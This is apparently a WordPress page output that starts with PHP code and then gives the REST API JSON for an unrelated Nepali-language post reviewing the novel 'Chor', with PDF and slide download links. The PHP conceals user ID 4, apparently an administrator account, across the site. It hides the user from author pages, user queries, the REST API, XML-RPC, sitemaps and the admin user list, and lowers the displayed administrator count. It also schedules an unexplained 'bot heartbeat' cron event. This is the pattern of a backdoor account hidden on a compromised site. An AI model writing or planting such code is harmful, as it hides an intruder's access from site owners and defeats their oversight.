add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 4;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 4;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 4;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 4;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-4{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":596,"date":"2024-02-21T09:45:07","date_gmt":"2024-02-21T09:45:07","guid":{"rendered":"http:\/\/heramba.com.np\/?p=596"},"modified":"2024-05-19T08:13:31","modified_gmt":"2024-05-19T08:13:31","slug":"596","status":"publish","type":"post","link":"http:\/\/heramba.com.np\/?p=596","title":{"rendered":"\u091a\u094b\u0930 \u0909\u092a\u0928\u094d\u092f\u093e\u0938\u0915\u094b \u0938\u092e\u0940\u0915\u094d\u0937\u093e"},"content":{"rendered":"<div style=\"margin-top: 0px; margin-bottom: 0px;\" class=\"sharethis-inline-share-buttons\" ><\/div>\n<div class=\"wp-block-columns is-layout-flex wp-container-core-columns-is-layout-8f761849 wp-block-columns-is-layout-flex\">\n<div class=\"wp-block-column is-layout-flow wp-block-column-is-layout-flow\" style=\"flex-basis:100%\">\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/Chor.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Embed of Chor.\"><\/object><a id=\"wp-block-file--media-cb47ca75-8088-48fe-9479-40b21a4df5f6\" href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/Chor.pdf\">Chor<\/a><a href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/Chor.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-cb47ca75-8088-48fe-9479-40b21a4df5f6\">Download<\/a><\/div>\n<\/div>\n<\/div>\n\n\n\n<div class=\"wp-block-file\"><a id=\"wp-block-file--media-ea705fe7-c58c-4698-86bb-ff30685c5cd4\" href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/\u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0915\u0915\u094d\u0937\u093e\u092e\u093e-\u0928\u0947\u092a\u093e\u0932\u0940-\u0936\u093f\u0915\u094d\u0937\u0923.pptx\">\u091b\u0928\u094d\u0926 \u092a\u0939\u093f\u091a\u093e\u0928, \u0935\u093e\u091a\u0928 \u0924\u0925\u093e \u0938\u093f\u0930\u094d\u091c\u0928\u093e\u0924\u094d\u092e\u0915 \u0905\u092d\u094d\u092f\u093e\u0938 \u0915\u093e\u0930\u094d\u092f\u0915\u0932\u093e\u092a<\/a><a href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/\u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0915\u0915\u094d\u0937\u093e\u092e\u093e-\u0928\u0947\u092a\u093e\u0932\u0940-\u0936\u093f\u0915\u094d\u0937\u0923.pptx\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-ea705fe7-c58c-4698-86bb-ff30685c5cd4\">Download<\/a><\/div>\n\n\n\n<div class=\"wp-block-group\"><div class=\"wp-block-group__inner-container is-layout-constrained wp-block-group-is-layout-constrained\">\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/\u092a\u0926\u094d\u092f-\u0936\u093f\u0915\u094d\u0937\u0923.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Embed of \u092a\u0926\u094d\u092f-\u0936\u093f\u0915\u094d\u0937\u0923.\"><\/object><a id=\"wp-block-file--media-14d15e1c-107d-4300-b300-cdcc0fe87ad2\" href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/\u092a\u0926\u094d\u092f-\u0936\u093f\u0915\u094d\u0937\u0923.pdf\">\u092a\u0926\u094d\u092f-\u0936\u093f\u0915\u094d\u0937\u0923<\/a><a href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/02\/\u092a\u0926\u094d\u092f-\u0936\u093f\u0915\u094d\u0937\u0923.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-14d15e1c-107d-4300-b300-cdcc0fe87ad2\">Download<\/a><\/div>\n<\/div><\/div>\n\n\n\n<div data-wp-interactive=\"core\/file\" class=\"wp-block-file\"><object data-wp-bind--hidden=\"!state.hasPdfPreview\" hidden class=\"wp-block-file__embed\" data=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/05\/\u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0935\u093f\u0926\u094d\u092f\u093e\u0930\u094d\u0925\u0940\u0939\u0930\u0942\u0915\u094b-\u0928\u0947\u092a\u093e\u0932\u0940-\u0938\u093f\u0915\u093e\u0907-\u0905\u0928\u0941\u092d\u0935.pdf\" type=\"application\/pdf\" style=\"width:100%;height:600px\" aria-label=\"Embed of \u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0935\u093f\u0926\u094d\u092f\u093e\u0930\u094d\u0925\u0940\u0939\u0930\u0942\u0915\u094b-\u0928\u0947\u092a\u093e\u0932\u0940-\u0938\u093f\u0915\u093e\u0907-\u0905\u0928\u0941\u092d\u0935.\"><\/object><a id=\"wp-block-file--media-03d4eba9-45e3-435d-9053-d5c878a1a0a6\" href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/05\/\u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0935\u093f\u0926\u094d\u092f\u093e\u0930\u094d\u0925\u0940\u0939\u0930\u0942\u0915\u094b-\u0928\u0947\u092a\u093e\u0932\u0940-\u0938\u093f\u0915\u093e\u0907-\u0905\u0928\u0941\u092d\u0935.pdf\">\u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0935\u093f\u0926\u094d\u092f\u093e\u0930\u094d\u0925\u0940\u0939\u0930\u0942\u0915\u094b-\u0928\u0947\u092a\u093e\u0932\u0940-\u0938\u093f\u0915\u093e\u0907-\u0905\u0928\u0941\u092d\u0935<\/a><a href=\"http:\/\/heramba.com.np\/wp-content\/uploads\/2024\/05\/\u092c\u0939\u0941\u092d\u093e\u0937\u093f\u0915-\u0935\u093f\u0926\u094d\u092f\u093e\u0930\u094d\u0925\u0940\u0939\u0930\u0942\u0915\u094b-\u0928\u0947\u092a\u093e\u0932\u0940-\u0938\u093f\u0915\u093e\u0907-\u0905\u0928\u0941\u092d\u0935.pdf\" class=\"wp-block-file__button wp-element-button\" download aria-describedby=\"wp-block-file--media-03d4eba9-45e3-435d-9053-d5c878a1a0a6\">Download<\/a><\/div>\n","protected":false},"excerpt":{"rendered":"","protected":false},"author":3,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-596","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"http:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts\/596","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/users\/3"}],"replies":[{"embeddable":true,"href":"http:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=596"}],"version-history":[{"count":5,"href":"http:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts\/596\/revisions"}],"predecessor-version":[{"id":632,"href":"http:\/\/heramba.com.np\/index.php?rest_route=\/wp\/v2\/posts\/596\/revisions\/632"}],"wp:attachment":[{"href":"http:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=596"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=596"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/heramba.com.np\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=596"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}